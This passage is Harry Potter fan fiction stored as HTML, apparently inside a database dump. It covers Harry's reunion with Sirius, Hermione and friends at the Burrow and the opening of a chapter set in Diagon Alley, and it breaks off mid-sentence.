</p>\n<p>	&quot;Six years ago?&quot; Harry asked.  &quot;It can&#8217;t be&#8230;I remember it like it was yesterday.&quot;</p>\n<p>	&quot;Just like you to rub it in isn&#8217;t it?&quot; Sirius smiled playfully.  &quot;I didn&#8217;t see you for three years of it and now you tell me it hasn&#8217;t been that long.&quot;</p>\n<p>Harry chuckled light heartily.  &quot;Sorry Sirius.  I feel&#8230;so&#8230;old.&quot;</p>\n<p>	&quot;You look it too,&quot; Sirius remarked taking a swig of his whiskey.  Harry was still only seventeen and because of that he was only allowed butterbeer.  It was a great drink though.  &quot;So what does this year entail for the famous Harry Potter and his infamous best pals?&quot;</p>\n<p>	&quot;For me, relaxation in the arms of some gorgeous female,&quot; he leaned back in his chair smiling at the thought.  Sirius just made a slight hiccup giggle into his mug. </p>\n<p>&quot;For Ron and Lavender, they&#8217;re big kids now.  They play their own games&#8230;with or without each other.  Hermione will be living in the library.  She really should go out and get a boyfriend.&quot;</p>\n<p>Sirius made a little hiccuping laugh into his mug.  &quot;What make you say that?&quot;</p>\n<p>	&quot;It&#8217;s just&#8230;she&#8217;s been going out with all the wrong types of guys.  I just reckon she needs a break from the wrong sort and moves onto the light side.&quot;</p>\n<p>	&quot;Are you going to show her the light side, Luke?&quot; Sirius smiled playfully.  </p>\n<p>	&quot;I&#8217;ll introduce her to some guys I know.  She&#8217;s gorgeous so she won&#8217;t have a problem.&quot;</p>\n<p>	&quot;You think she&#8217;s gorgeous?&quot;</p>\n<p>	&quot;Definitely, especially her eyes.&quot;  Harry realised who he was saying this all too.  </p>\n<p>Sirius just nodded knowingly and understandingly.  &quot;I know exactly what you mean.&quot;</p>\n<p>	&quot;You do?&quot; Harry questioned.  He didn&#8217;t want his godfather thinking his best friend was hot.  </p>\n<p>	&quot;Definitely, especially her eyes.&quot;  Sirius laughed as he imitated Harry&#8217;s fluttery-eyed expression.  </p>\n<p>	&quot;Is it that obvious?&quot; Harry chuckled, leaning forward and taking a drink.  </p>\n<p>He shook his head.  &quot;No it&#8217;s not.  As long as you don&#8217;t tell other people that her eyes are &#8216;gorgeous&#8217; no one will say anything.  How long?&quot;</p>\n<p>	&quot;How long what?</p>\n<p>	&quot;Have you liked Hermione?&quot;</p>\n<p>	&quot;From fifth year,&quot; Harry ran a hand though his hair.  </p>\n<p>	&quot;Any specific reason?&quot;</p>\n<p>	&quot;She&#8217;s Hermione; no one else.  Just herself.&quot;   </p>\n<p>	&quot;Good reason.  Tell her that.&quot;</p>\n<p>Harry scoffed.  &quot;I&#8217;m her best friend remember.  Harry Potter, the best, and only ever going to be, best friend of Hermione Granger.&quot;</p>\n<p>	&quot;You said it yourself.  You can be her best friend.&quot;</p>\n<p>Harry smiled.  &quot;But?&quot;  He was anticipating something.  Sirius never gave up on something that quickly.  </p>\n<p>	&quot;But you can be her lover as well as her best friend.&quot;</p>\n<p>	&quot;I can&#8217;t.  I need to be there to talk to her about her relationship and not be the relationship problem.&quot;</p>\n<p>	&quot;You know, it must have hurt when Ron and Hermione were going out.&quot;</p>\n<p>	&quot;Not really.  They never &#8216;really&#8217; were, just a kiss every now and then.  More like practice for someone else.  That&#8217;s the thought that got me through it anyway.&quot;</p>\n<p>Sirius laughed.  &quot;What about all the other guys she&#8217;s been out with?&quot;</p>\n<p>	&quot;What about them?&quot;</p>\n<p>	&quot;What were they like?  In your opinion.&quot;</p>\n<p>	&quot;Pompous twats with no respect for a lady in anyway or fashion.  They thought Hermione was a piece of human meat, I could see it.  Dean and Seamus weren&#8217;t all bad.  Justin was not to good.  Generally none of them were right for her&#8230;none.  She deserves someone totally better.&quot;</p>\n<p>	&quot;Like you?&quot;</p>\n<p>	&quot;No, not like me.  I&#8217;m nothing compared to what she deserves.  If something went wrong then we&#8217;d end up not being friends.  If I couldn&#8217;t even have her as a friend, I think I&#8217;d go mad.&quot;</p>\n<p>	&quot;Oh dear&#8230;&quot; Sirius sighed and looked down at the table.  </p>\n<p>	&quot;Oh dear what?&quot; Harry looked confused.  </p>\n<p>	&quot;Well&#8230;&quot; Sirius rested his hand in support on Harry&#8217;s shoulder.  &quot;You&#8217;re going through the James phase.&quot;</p>\n<p>	&quot;Did dad fancy Hermione?&quot;  Harry smirked.  </p>\n<p>	&quot;Close but no cigar,&quot; Sirius chuckled.  &quot;But he did fall in love with Lily&#8230;the exact same way you&#8217;re going to for Hermione.&quot;</p>\n<p>Harry looked taken back.  &quot;I&#8217;m not going to fall in love with Hermione.&quot;</p>\n<p>	&quot;Why not?&quot;</p>\n<p>	&quot;She&#8217;s my best friend!&quot;</p>\n<p>	&quot;So was Lily to James.&quot;</p>\n<p>	&quot;But&#8230;but&#8230;this is completely different.&quot;</p>\n<p>	&quot;How is it?&quot;</p>\n<p>	&quot;I&#8217;m not my dad.&quot;</p>\n<p>	&quot;I know but there are certain parts of you that are.  You are like your mother and your father.  You can&#8217;t deny it.  I&#8217;m just giving you a fair warning in advance.  Don&#8217;t break your own heart.&quot;</p>\n<p>Harry sighed.  He knew that it could very well be true but he didn&#8217;t want to believe that he loved his best friend in an unfriendly like way.  It was&#8230;unfriendly like!</p>\n\n<p>From the bar, Tom was waving something around.  He waved to Harry and Sirius.  </p>\n<p>	&quot;Hey, Harry!  Guess what?&quot;  Tom called.  </p>\n<p>	&quot;What?&quot;  Harry shouted back over the dozens of people inhabiting the pub.  </p>\n<p>	&quot;You&#8217;re the second sexiest wizard in the Witches Weekly!&quot;  He shouted.  The whole pub seemed to stop suddenly and stare in Harry&#8217;s direction.  A few witches (and a few wizards) were smiling intimately at him.  </p>\n<p>	&quot;Thanks Tom!&quot; Sirius shouted laughing.  </p>\n<p>Harry&#8217;s face flushed crimson.  Sirius patted him on the back.  </p>\n<p>	&quot;You wanna go now?&quot; Sirius asked his now very embarrassed godson.  </p>\n<p>Harry nodded a yes and finished off his butterbeer.         </p>\n\n<p>&nbsp;</p>\n<p>Sirius and Harry were laughing together as they exited the Leaky Cauldron.  It was all right for Sirius to be out in public now.  His name had been cleared with the Ministry and Witch and Wizard newspapers all over the world commented on how he helped his godson save the world from Voldemort.  His presence was now celebrated rather than resented.  </p>\n\n<p>When it came time to retreat back to the Burrow, Sirius rushed into Diagon Ally into one of the open all night stores to find some cooking ingredients.   </p>\n<p>Harry and Sirius cooked up a storm in that kitchen.  They managed a silencing spell during all the commotion so as not to wake everybody.  By seven, the outcome was two massive platters of bacon and sausages, another with eggs, another with mushrooms and tomatoes.  Two big racks held about thirty pieces of toast on and by the end, Harry and Sirius had managed to clean up as well.  Heating spells were conjured by Sirius to keep it all hot as Harry dragged their bags upstairs. </p>\n<p>Harry dropped his bags in the middle of Fred and George&#8217;s room which he would be occupying whilst he was there. </p>\n\n<p>Among Harry&#8217;s belongings was his guitar.  Sirius had taught him to play it in his fifth year.  Once Dean and Seamus had found out they had Harry in their band straight away.  Who knew Harry could sing?  He now played guitar (rhythm and lead) and lead vocals.  Dean was a master on drums and Seamus rocked the keyboard!  You plugged that boy into the wall and he&#8217;d have you tapping your foot in a few seconds.  It was really no wonder that Ginny absolutely adored Seamus.  When they needed a girl singing they just asked Blaise who was more than great and had a really big crush on Harry.  Of course he knew but he didn&#8217;t humour it.  He&#8217;d been out with Blaise but it didn&#8217;t feel right.  They&#8217;d both agreed that Harry&#8217;s heart wasn&#8217;t in it as much as hers was and being friends was better than being enemies.  </p>\n\n<p>Harry quickly silenced his bedroom and plucked away at the strings.  He was enjoying himself immensely and was standing and singing along to the music. </p>\n<p>He started to play a version of Kiss the Rain.  He&#8217;d be singing it at their Hogsmeade concert in two weeks time so he might as well get some practice in.  Of course, he&#8217;d got his friends front row seats and VIP backstage passes.  What kind of friend wouldn&#8217;t?  </p>\n\n<p>~*~</p>\n\n<p>Lavender and Hermione were up at the crack of dawn and getting dressed already.  Hermione had woken Lavender up so they could greet Harry as he arrived.  </p>\n<p>	&quot;Come on Lav!&quot; Hermione pleaded.  </p>\n<p>Lavender came out of the bathroom looking extremely frustrated.  &quot;You wake me up at six in the morning when Harry isn&#8217;t probably going to arrive until about ten and tell me to hurry up?&quot;</p>\n<p>	&quot;Yeah!&quot; Hermione replied with a wide grin on her face.  Lavender had to smile.  Whatever made her friend happy was going to kill her eventually form lack of sleep.  </p>\n\n<p>Eventually, they were both dressed and ready to go downstairs.  They walked along the landing.  Lavender suddenly stopped.  </p>\n<p>Hermione whizzed around to find Lavender staring at Fred and George&#8217;s bedroom door.  &quot;What&#8217;s up?&quot;</p>\n<p>Lavender pointed to the door.  It was ajar.  &quot;I closed that last night.&quot;  </p>\n<p>Taking a quick peek inside, Lavender retreated and laughed.  </p>\n<p>Hermione looked at her friend questioningly.  &quot;What is it Lav?&quot;  Lavender couldn&#8217;t answer.  She simply pointed to the door, signalling Hermione to look for herself.  </p>\n<p>She did.  The sight that greeted her was indeed funny but she&#8217;d seen Harry singing and playing before.  </p>\n<p>	&quot;He&#8217;s just practising, Lav,&quot; Hermione sighed.  </p>\n<p>	&quot;Yeah, but it&#8217;s sweet.&quot;</p>\n<p>A light bulb went on in Hermione&#8217;s head.  </p>\n<p>	&quot;Can we watch?&quot; She asked with wide eyes.  </p>\n<p>Lavender sighed loudly.  &quot;Fine, fine.&quot;</p>\n<p>They opened the door.  </p>\n\n<p>~*~</p>\n\n<p>Harry finished the last chord with a final strum.  He had got some good practice in on that song.  What he didn&#8217;t notice were two girls stood at the door watching him.  </p>\n<p>The chord rang out for a brief second before being overtaken by clapping.  He looked up and saw Lavender and Hermione clapping hysterically at him whilst laughing.  Harry didn&#8217;t blush or feel embarrassed; he simply bowed. </p>\n<p>	&quot;Very good, Stan!&quot; Lavender exclaimed.  Stan was the nickname Lavender had adapted for him to his face.  Of course, she called him Harry to everybody else but to his face he was Stan.  She couldn&#8217;t think of a nickname that came from &#8216;Harry&#8217;, she didn&#8217;t want a boyfriend named Jay (after James) or Potts (after Potter) so she came up with Stan.  </p>\n<p>	&quot;Thank you, Miss Brown,&quot; Harry bowed again with a huge grin on his face.  </p>\n<p>	&quot;Are you performing that for us, Harry?&quot; Hermione asked excitedly. .  </p>\n<p>Harry looked at Hermione to answer but his mouth nearly dropped to the floor.  Had she always been that gorgeous?  She was wearing a white tank top, boot-cut jeans and a denim shirt.  Her flat stomach definitely showed through the tank top.  Her hair was tied back in a pony tale and smooth on top.  Her smile made him buckle at the knees.  </p>\n<p>	</p>\n<p>&quot;Wow!&quot; he mouthed.  He remembered that he must have been staring so he quickly turned back to his guitar and sat down on the bed.  </p>\n<p>Hermione had noticed him checking her out but she had been doing a little observation herself.  Harry had obviously been working out.  His face was toned and slender.  His smile was wide and particularly attractive.  His hair was the same as always; tousled and dreadfully pleasing to all the female occupants of Hogwarts.  Some described it as one of his defining sexual features.  Hermione thought that his eyes; his green emanating pools of radiating emerald were his dominating feature to any attracted girl.  He was wearing a loose hanging black shirt and deep blue jeans.  His arms were getting muscular and his chest had pecks and a four-pack.  Hermione suddenly found herself thinking if he had chest hair or not.  </p>\n<p>	&quot;Silky smooth.&quot;</p>\n<p>The voice made Hermione jump out of her trance of Harry and consider the statement.  </p>\n<p>	&quot;What?&quot; she asked, sounding quite drawn back. Could he read her mind or something?</p>\n<p>	&quot;Silky smooth strings,&quot; Ron repeated to Hermione.  Ron was standing next to Harry feeling the strings of his electric guitar.  &quot;Are they new?&quot;</p>\n<p>	&quot;Got them from Japan,&quot; Harry smiled.  Hermione felt her legs go from underneath her but she grasped onto the doorframe for support.  </p>\n<p>Lavender grinned and leaned in closer to Hermione.  &quot;Ron came in a little after you started checking Harry out.  The best thing was, Harry was talking to you and you didn&#8217;t even notice.&quot;</p>\n<p>Hermione laughed and moved into the bedroom with Lavender.</p>\n\n<p>&quot;What songs are you playing at the concert?&quot; Ron asked smiling as Harry handed him the guitar.  </p>\n<p>Harry tapped his nose with his index finger.  &quot;It&#8217;s a secret.&quot;</p>\n<p>Ron stamped his foot on the floor.  Harry stared at his friend.  &quot;You&#8217;ll go through the floor, Rumpelstiltzskin.&quot;</p>\n<p>The girls laughed.  </p>\n<p>	&quot;But when will I know when a slow song is coming on?&quot;  He flashed a wicked grin at Lavender who smiled slyly back.   </p>\n<p>	&quot;I guess you won&#8217;t,&quot; Harry chuckled looking back at Hermione and winking at her.  </p>\n<p>At this simple gesture, Hermione felt a tingle run up her spine.  It was Harry for crying out loud!  Harry James Potter!  Her best friend and confidante.  </p>\n<p>	&#8216;But he&#8217;s your crush as well!&#8217;	 Her thoughts reminded.  She&#8217;d been through most of the girls throughout their years with him; giving him advice on what to do if the situation got to intense and other stuff Ron could never grasp hold of.  She was really one of the guys to him&#8230;or so she thought anyway.  Of course, he&#8217;d done the same for her.  He was there for her when she need him and he gave advice on the male sex although it didn&#8217;t amount to any good use.  </p>\n\n<p>&quot;Pretty please, Potter?&quot; Ron whimpered.  Harry shook his head.  Ron was getting really worked up, which made Lavender giggle a little at her boyfriend&#8217;s silly behaviour over a song.  </p>\n<p>	&quot;Please!&quot; Harry shook his head again.  Ron leaned over to Harry&#8217;s ears so Hermione and Lavender couldn&#8217;t hear him and whispered something.  Harry&#8217;s mouth dropped open in surprise and his eyes widened.  The girls suddenly wondered what he&#8217;d said.  They&#8217;d bug Harry about it later.  </p>\n<p>	&quot;I&#8217;ll say something before we play it,&quot; Harry replied to Ron&#8217;s whisper.  Ron patted him on the back.  </p>\n<p>	&quot;Thanks mate,&quot; he grinned and started to pluck idiotically at the strings.  &quot;Can never play this damn thing.&quot;</p>\n<p>Harry walked over to his trunk and opened it.  He brought out a large brown parcel and handed it to Hermione.  </p>\n<p>	&quot;What&#8217;s this?&quot; she asked hopefully.  </p>\n<p>	&quot;Sushi like I promised,&quot; Harry joked and proceeded to unload the presents he&#8217;d bought everyone.  He handed Lavender a long cardboard package.   He handed Ron a small box the size of a shoe box.  </p>\n<p>Ron took it and opened it vigorously bringing out a pair of wooden polished sticks.  </p>\n<p>He held them out to Harry.  &quot;Drum sticks,&quot; Harry smiled.  </p>\n<p>	&quot;What would I need these for?&quot; Ron asked scrunching his nose up.  </p>\n<p>Harry turned back to his trunk   &quot;For the drum kit in the garage.&quot;</p>\n<p>Ron let out a half &quot;Oh-My-God&quot; and a half squeak.  &quot;Thanks!&quot;  He smiled profusely.  </p>\n<p>Harry simply smiled as Ron ran down Fred and George&#8217;s private entrance, which led straight to the garage for their convenience.  </p>\n<p>Lavender was next in opening hers.  The cardboard lid slid off and there in the box was the latest and most expensive racing broom.  Lavender jumped up and down and hugged Harry.  &quot;The A-Model Stream-Lightening? How the hell did you get this?&quot;  She nearly screamed.  </p>\n<p>	&quot;I have my ways,&quot; Harry smiled.  </p>\n<p>Lavender picked it up from the box and thanked Harry again before running down the same way Ron had.  </p>\n<p>Hermione was last in opening her present.  It looked as big as Harry&#8217;s trunk and she wondered how he&#8217;d fitted it in.  The lid slid off the box.  A thick denim jacket stared back at her.  It was dark blue but had white for the stitching.  She lifted it out and put it on.  	&quot;Thanks Harry!&quot; She laughed genuinely.  &quot;Just what I needed!  How did you know?&quot;</p>\n<p>	&quot;Bonding instinct,&quot; he replied smiling.  He looked over at the box.  &quot;Look under the white wrapping.&quot;  He urged pointing at it.  </p>\n<p>She complied and lifted the thick sheet of white wrapping from the bottom of the box.  Her mouth fell open in complete shock.  </p>\n<p>	&quot;Harry&#8230;you didn&#8217;t have too&#8230;&quot; she gasped, in a complete state of amazement and shock.  </p>\n<p>Staring at her were the whole four complete volumes, leather bound hard copies, of Hogwarts: A History.  To top it all off was the Hogwarts: A History Revised First Edition unable to buy in any bookstore internationally.  It had to be ordered straight from the author.  She picked up the last book and stared at it disbelievingly.  </p>\n<p>	&quot;How did you get this?&quot; she asked finally breaking her gaze from the front cover of the book and looked up at Harry.  </p>\n<p>Harry shrugged.  &quot;A friend of a friend.&quot;  </p>\n<p>	&quot;I&#8230;Th&#8230;thank you,&quot; she couldn&#8217;t find the words to express her gratitude.  </p>\n<p>	&quot;Let&#8217;s call it a &#8216;You Saved My Butt So Many Times So I Owe You&#8217; present,&quot; he laughed folding his clothes on his bed and pulling out his present for Mrs Weasley.  </p>\n<p>	&quot;You don&#8217;t owe me anything, Harry,&quot; she laughed with him.  </p>\n<p>Harry looked over to her with a very serious expression.  His emerald eyes pierced her golden brown ones.  Something about those eyes was so drawing, so sweet and tender&#8230;so loving.  </p>\n<p>	&quot;Quite the contrary,&quot; he grinned.  &quot;I owe you more than you&#8217;ll ever know.&quot;  With that, he resumed his unpacking.  </p>\n<p>Hermione walked up to him and hugged him from behind.  Harry immediately stood straight and turned still in her arms.  He looked down into her perfect face with a soft smile on his face.</p>\n<p>	&quot;You know if you wanted a hug all you needed to do was ask.&quot;</p>\n<p>	&quot;I want a hug.&quot;</p>\n<p>Harry wrapped his arms around her waist and hugged her tightly almost burying his face in her soft hair.  She rested her head in the crook of his neck and closed her eyes slowly.  </p>\n<p>	&quot;What have you washed your hair with?&quot; he asked smelling it deeply.  </p>\n<p>	&quot;Why?&quot; Hermione asked, enjoying the moment too much to even care. </p>\n<p>	&quot;It smells great,&quot; he sniffed again at her hair.  &quot;It looks great too.&quot;</p>\n<p>Hermione broke away from his shoulder but stayed in his arms.  She poked at his chest playfully.  </p>\n<p>	&quot;You look great too,&quot; she smiled.  &quot;You been working out Potter?&quot;</p>\n<p>Harry looked down at his shirt.  &quot;Don&#8217;t think so.&quot;</p>\n<p>	&quot;You&#8217;re developing a very nice chest,&quot; she didn&#8217;t blush.  She&#8217;d been around Harry for too long to get embarrassed over something like that.  He did it all the time to her.  </p>\n<p>	&quot;Why, thank you, Miss Granger.&quot;  He grinned.  &quot;So are you.&quot;  He pointed to her chest.  </p>\n<p>Hermione could see where this was leading.  &quot;Mine&#8217;s bigger than yours.&quot;  She pulled out her tongue.  </p>\n<p>	&quot;Maybe but I&#8217;ve seen bigger.&quot;</p>\n<p>	&quot;And I&#8217;ve seen better men than you.&quot;</p>\n<p>	&quot;Like who?  You can&#8217;t get better than me.&quot;</p>\n<p>	&quot;Two words, Finch-Fletchley.&quot;</p>\n<p>	&quot;Justin?&quot;</p>\n<p>	&quot;Yep!&quot;</p>\n<p>	&quot;Well, you snore!&quot;</p>\n<p>	&quot;And you stink!  Speaking of stink did you just role in dog muck or bathe in it?  How many times did you actually change your clothes whilst you were there?  How many elephants pissed on you?&quot;</p>\n<p>Harry laughed.  &quot;I&#8217;ve missed you Herm,&quot; he hugged her tightly.  </p>\n<p>	&quot;Missed you too, Harry,&quot; She rested her head on his shoulder contentedly.   &#8216;Perfect and unrivalled bliss.&#8217;  She thought burying her face deeper into his shirt and tightening her arms around his waist.  They stayed like that for a while. </p>\n<p>After a few moments, Harry started to hum a tune.  Hermione snapped out of her dream-like state and looked up at him.  He had his eyes closed and was humming away softly to the song he sang slowly in his mind.  </p>\n<p>	&quot;What are you humming, Harry?&quot; she asked breaking him from his trance.  He looked down at her and grinned evilly.  </p>\n<p>	&quot;Secret,&quot; he left her arms and continued unpacking.  </p>\n<p>Hermione suddenly felt very cold, missing his presence in her arms.  She picked up a pillow from his bed and hit on his back.  </p>\n<p>His attention quickly turned to her.  She was stood with her hands on his hips holding the pillow in one hand.  </p>\n<p>&quot;Tell me,&quot; she demanded playing a small smile on her lips.  Harry looked over at the alarm clock on his bedside table.  It blinked 7:30 am.  Sirius was probably sound asleep on the Weasley&#8217;s living room sofa.  Harry smiled playfully and picked up another pillow quickly swinging around and hitting Hermione on the torso.  </p>\n<p>She let out a small cry and almost fell to the floor.  </p>\n<p>	&quot;No!&quot; Harry laughed and raced around the room away from Hermione who was trying to attack him with her pillow.</p>\n<p>After a very vicious pillow fight, Harry and Hermione collapsed onto Harry&#8217;s bed exhausted.  </p>\n<p>	&quot;So, what did Ron whisper to you before being all secretive?&quot; Hermione asked turning on her side to look at Harry.  Harry was staring at the ceiling and smiled as she asked.  </p>\n<p>	&quot;Nothing,&quot; he tried to keep himself from bursting into fits of giggles.  </p>\n<p>	&quot;What did he say?&quot; she ordered him to tell her and smacked him playfully on his chest.  </p>\n<p>	&quot;I promised him I wouldn&#8217;t tell because I know you&#8217;d tell Lavender,&quot; Harry remembered what it was and grinned.  &quot;You wouldn&#8217;t like it if I told Ron about your little secret would you?&quot;</p>\n<p>	&quot;What little secret?&quot; Hermione was surprised.  Yeah, she told Harry everything but still she was curious as to which one he meant.  </p>\n<p>	&quot;Oh, about you and Tom Foller last year in the&#8230;&quot;</p>\n<p>Hermione smacked is chest again.  &quot;Ugh!  Don&#8217;t remind me!&quot;</p>\n<p>	&quot;Then don&#8217;t ask me to tell you my friend&#8217;s secrets,&quot; he laughed and stood up holding out a hand to Hermione.  She took it and let him help her to her feet.  </p>\n<p>	&quot;I&#8217;m glad you&#8217;re my friend Herm,&quot; he wrapped an arm around her waist and kissed the side of her head.  </p>\n<p>	&quot;Me too Harry,&quot; She smiled at his touch but couldn&#8217;t help thinking that she wanted to be more to him than just his friend.  </p>\n\n<p>They walked down the stairs hand in hand. </p>\n<p>	&quot;Glad you two could make it,&quot; Sirius commented.  Ron and Lavender were already munching down on some bacon and toast.  &quot;Early make out session?&quot;</p>\n<p>Harry glared at his godfather.  &quot;Don&#8217;t be daft.&quot;</p>\n<p>	&quot;Yeah, I&#8217;ve seen orang-utans with more sex appeal than him,&quot; Hermione chuckled.  </p>\n<p>&quot;Ha Ha Ha,&quot; Harry laughed sarcastically.  &quot;Nice to know you care.&quot;</p>\n<p>&quot;Aww,&quot; Hermione gave him a small hug.  &quot;You&#8217;ll find a girl who&#8217;ll swing through the tress with you as well.&quot;</p>\n<p>This made the whole table laugh as Hermione and Harry sat down to breakfast.  </p>\n<p>Hermione took a bite of some toast. &quot;Did you cook this Sirius?&quot;</p>\n<p>&quot;No, Harry did the toast,&quot; he replied.  </p>\n<p>She looked at Harry who was smirking.  &quot;I didn&#8217;t know you could cook toast!&quot; Hermione giggled.  &quot;You usually burn it!&quot;  She shovelled a piece of toast with some mushrooms on it into her mouth with her fork. </p>\n<p>Harry laughed sarcastically.  &quot;Pick on the boy who can&#8217;t make toast!&quot;  The whole table laughed at him.  </p>\n<p>	&quot;I can defeat Voldemort, the biggest threat the Wizarding World has ever seen, I can do wandless magic but ask The Boy Who Lived to make toast?  Are you mad?&quot;</p>\n<p>If the table wasn&#8217;t in hysterics they certainly were now.</p>\n<p>Hermione rubbed her hands together.  </p>\n<p>	&quot;Show us some wandless magic then,&quot; Ron laughed.  </p>\n<p>	&quot;You sure?&quot; Harry asked with a very wide grin on his face.  Sirius laughed.  He knew what was coming.  Harry had learnt something new on his travels and had been dying to try it out on his friends.  </p>\n<p>Ron nodded.  </p>\n<p>Harry&#8217;s attention quickly turned to Hermione.  His green eyes were piercing hers as if trying to see right through her.  </p>\n<p>	<i>&quot;Don&#8217;t be afraid, Herm,&quot;</i> a voice echoed in her head.  Harry was smiling but concentrating.  </p>\n<p>	&quot;Is this it?&quot; She asked excitedly and aloud.  </p>\n<p>	&quot;Is what it?&quot; Ron asked.  &quot;He&#8217;s not doing anything!&quot;  </p>\n<p>	&quot;Shh,&quot; Lavender smacked him on his arm lightly.  </p>\n<p>	<i>&quot;Do you like it?&quot;</i> Harry voice asked in Hermione&#8217;s head.  </p>\n<p>	&quot;It&#8217;s great but how do I do this to you?  Like say something back without people hearing?&quot; She asked aloud.</p>\n<p>	&quot;Say something without people hearing?&quot; Ron asked.    </p>\n<p>	<i>&quot;Just think of an answer.&quot;</i></p><i>\n<p>	&quot;Like this?&quot;</p>\n<p>	&quot;Exactly!&quot;</p>\n\n</i><p>Harry stopped concentrating.  There was a small snapping noise then Hermione turned back to Harry.  </p>\n<p>	&quot;Where&#8217;d you learn that?&quot; She smiled profusely.  </p>\n<p>	&quot;Learn what?&quot; Ron was getting frustrated now.  </p>\n<p>Harry turned to Ron.  &quot;It&#8217;s a mind connection.  I can say things to people in my head as soon as I&#8217;ve made a connection, and they can hear me.  I can only do it form a few metres yet.  I&#8217;m not powerful enough to go full spread.&quot;</p>\n<p>	&quot;Still, it&#8217;s so cool!&quot; Ron exclaimed.  &quot;We can have full conversations in the common room and no one will know!&quot;  </p>\n\n<p>Once breakfast was finished, Sirius decided he&#8217;d better get back to his manor.  The housekeeper expected him home a day ago.  </p>\n<p>He gave Harry a hug, quickly because of the manly image.  &quot;Had a great time, Kid,&quot; He laughed.  </p>\n<p>	&quot;Me too,&quot; Harry smiled.  &quot;I&#8217;ll probably be back for a weekend at New Year.&quot;</p>\n<p>	&quot;Great, you lot wanna come?&quot;</p>\n<p>The friends laughed.  &quot;Yeah, sure, Sirius.  You sure you want us lot messing up your manor?&quot;</p>\n<p>	&quot;It&#8217;s big enough,&quot; Sirius chuckled and climbed into the fireplace and took some floo powder from the holder.  </p>\n<p>	&quot;Later guys!&quot; He shouted before yelling, &quot;Marauder Manor!&quot;</p>\n<p>In a puff of green smoke, he was gone.</p>\n\n'),
	(175, 3, '\n\n<b><u></u></b><u></u><p><u><b>Disclaimer:</b></u> I do not; I repeat; do NOT own Harry Potter.  I own the plot, the band and any characters that have not appeared in the books.  </p>\n\n<b><u></u></b><u></u><p><u><b>Author Note:</b></u> My first fan fic posted!  Yay!  Be gentle!  It takes place in their sixth year summer when they are about to go back for the seventh year.  </p>\n\n<p>Please R&amp;R!  Thanx!</p>\n\n<p>&nbsp;</p>\n<b><u><p>Chapter three:  All It Takes&#8230;Is A Nap.</p>\n</u></b>\n<p>~*~          </p>\n\n<p>Their last week went without interruption.  A few days before school started, they decided to go to Diagon Alley and pick up all their new school supplies.  </p>\n<p>	</p>\n<p>	&quot;Okay, me and Lavender will go and get ours and you two get yours,&quot; Hermione sorted them out.  &quot;Harry have you got your money?&quot;</p>\n<p>	&quot;Yes, mum,&quot; he replied sheepishly.  Ron laughed.  </p>\n<p>	&quot;Good, boy,&quot; Hermione playfully patted his head but he waved it out of the way.  &quot;Meet us in the Leaky Cauldron later.&quot;</p>\n<p>	&quot;See you later!&quot; The girls called as they walked off.  </p>\n\n<p>After getting everything they needed, Ron and Harry went into the Leaky Cauldron for a drink.  Harry had managed to pick out some dark blue and deep red robes and dress robes.  His casual robes were always black.   Ron had bought some green robes.  It was one of the only colours that didn&#8217;t class with his hair.  Harry was lucky.  Black went with everything.  </p>\n<p>	</p>\n<p>&quot;Have you seen your picture in the Witches Weekly?&quot; Ron asked, sipping his mug of CherryGloss Spice; a special drink only brewed in Honeyduke&#8217;s.  Harry didn&#8217;t enjoy it.  Butterbeer was his drink and he was famed for it.  </p>\n<p>	</p>\n<p>Harry shook his head regretfully.  &quot;Which shot did they use?&quot;  He asked looking slightly concerned but not much.  </p>\n\n<p>	&quot;The one with you standing with your back to the side of the portrait.&quot;  Ron grinned.  &quot;Must say, you definitely showed a lot more than your grin on that poster.&quot;</p>\n\n<p>Harry laughed lightly.  &quot;Not my fault.  A photo shoot with them will put you into your deathbed.  They eat you alive in the studio.  Flashing cameras everywhere and people shouting &#8216;Put this on!&#8217;&#8230;&quot; Harry shook his head and made a face.  &quot;Not for me.&quot;</p>\n\n<p>	&quot;You&#8217;re in a band which is probably going to go up and forward and you&#8217;re complaining about a photo shoot?&quot; Ron gasped but laughed.  </p>\n\n<p>	&quot;I&#8217;m a picky git,&quot; Harry drank some more.  </p>\n\n<p>Harry glanced around the bar to find Hermione and Lavender.  They hadn&#8217;t finished their shopping spree yet.  </p>\n\n<p>During Harry&#8217;s glances, he noticed a tall man sitting on the table opposite theirs.   He was small in proportion to himself and Ron.  He was sipping ale and reading the Daily Prophet.  Something about him just didn&#8217;t feel&#8230;right.</p>\n\n<p>	<i>&quot;Over there,&quot;</i> Harry&#8217;s voice echoed in Ron&#8217;s head.  Ron immediately snapped his head up from his drink to look at Harry. </p>\n<p>	</p>\n<p>	<i>&quot;Look over there,&quot;</i> Harry persisted nodding his head in the direction of the man.  </p>\n\n<p>Ron turned around slowly to glance at the man.  His eyes softened as he looked and turned back to Harry.  </p>\n\n<p>	&quot;Mr Sprakner, my dad works with him,&quot; Ron grinned in a matter-of-fact manner.  &quot;Works with Magical crests and creatures.  Nice guy.&quot;</p>\n\n<p>Harry continued to study the man.  His hair was long; about as long as Lucious Malfoy&#8217;s is.  Instead of blond it was dark; almost black.  </p>\n\n<p>&nbsp;</p>\n<p>	</p>\n<p>&quot;Get us a drink will you?&quot;  Lavender collapsed down next to Ron.  &quot;We&#8217;re pummelled.&quot;  </p>\n<p>	</p>\n<p>Hermione pulled up a chair next to Harry&#8217;s and put all of her bags on the floor.  </p>\n\n<p>	&quot;Got a lot?&quot; Harry smiled seeing Hermione.  She looked perfect as always.  </p>\n\n<p>Hermione groaned and slumped against Harry&#8217;s shoulder.  &quot;To say the least.&quot;  </p>\n\n<p>Ron stood and walked over to the counter to get a drink for the girls.  </p>\n\n<p>	&quot;What did you get?&quot; Harry eyed the bags as Hermione ploughed into their bottomless depths.  </p>\n<p>	</p>\n<p>&quot;Robes, dresses, books, quills, ink, sweets&#8230;you name it we got it!&quot; Hermione smiled like a TV presenter.  </p>\n\n<p>Harry laughed.  &quot;Why did you buy so much?  We&#8217;ve got all the trips to Hogsmeade but you get them all today?&quot;</p>\n\n<p>	&quot;Don&#8217;t ask,&quot; Lavender groaned slumping further into her chair.  &quot;My feet are killing me!  Twenty-four dresses!  Twenty-four!&quot;</p>\n\n<p>Ron came over carrying four Butterbeers.  He set them down on the table and sat down himself.  </p>\n\n<p>	&quot;I&#8217;m shattered.&quot;  Lavender took a sip of her drink then settled into Ron&#8217;s shoulder.  </p>\n\n<p>	&quot;Here!&quot;  Hermione nearly jumped off her seat.  She pulled out two boxes wrapped in gold and red paper.  She handed them to harry.  </p>\n\n<p>	&quot;What&#8217;s this?&quot;  Harry asked confused.  His friends grinned profusely.  </p>\n\n<p>  	&quot;Well, we couldn&#8217;t give them to you on 